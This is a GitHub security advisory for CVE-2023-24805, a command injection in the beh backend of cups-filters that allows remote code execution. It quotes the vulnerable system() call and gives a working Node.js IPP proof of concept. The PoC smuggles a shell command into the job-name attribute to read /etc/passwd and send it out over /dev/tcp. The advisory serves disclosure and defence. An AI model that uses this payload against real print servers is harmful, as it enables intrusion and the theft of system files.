Skip to content

report a command inject Vulnerabilities in cups-filters

High
tillkamppeter published GHSA-gpxc-v2m8-fr3x May 17, 2023

Package

cups-filters (OpenPrinting)

Affected versions

The latest version

Patched versions

A fix is worked on currently

Description

Summary

If you use beh to create an accessible network printer, this security vulnerability can cause remote code execution.

Details

retval = system(cmdline) >> 8;

   // (context: argv = beh <job-id> <user> <title> <copies> <options> [file])
    snprintf(cmdline, sizeof(cmdline),
    "%s/backend/%s '%s' '%s' '%s' '%s' '%s' %s",
    cups_serverbin, scheme, argv[1], argv[2], argv[3],
          ...
    (argc == 6 ? "1" : argv[4]),
    argv[5], filename);
          ...
  retval = system(cmdline) >> 8;

The system function will be called here to execute the command, and the user and title parameters are user-controlled and unsanitized .

PoC

  1. start a beh service lpadmin -p myprinter -E -v beh:/1/3/5/socket://printer:9100

  2. exploit: // https://github.com/williamkapke/ipp

var ipp = require('ipp');
var PDFDocument = require('pdfkit');
var concat = require("concat-stream");

var doc = new PDFDocument({margin:0});
doc.text("1.pdf", 0, 0);


doc.pipe(concat(function (data) {
var printer = ipp.Printer("http://127.0.0.1:6310/printers/myprinter");
var msg = {
"operation-attributes-tag": {
"requesting-user-name": "Bumblebee",
"job-name": "';env; bash -c \"/usr/bin/cat ${PWD}etc/${PWD}/passwd > ${PWD}dev${PWD}tcp${PWD}127.0.0.1${PWD}1337\";'' #.pdf",
"document-format": "application/pdf"
},
"job-attributes-tag":{
      "media-col": {
        "media-source": "tray-2"
      }
}
, data: data
};
printer.execute("Print-Job", msg, function(err, res){
console.log(err);
console.log(res);
});
}));
doc.end();

Credits

Swing from Chaitin Security Research Lab

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-24805

Weaknesses

No CWEs

Credits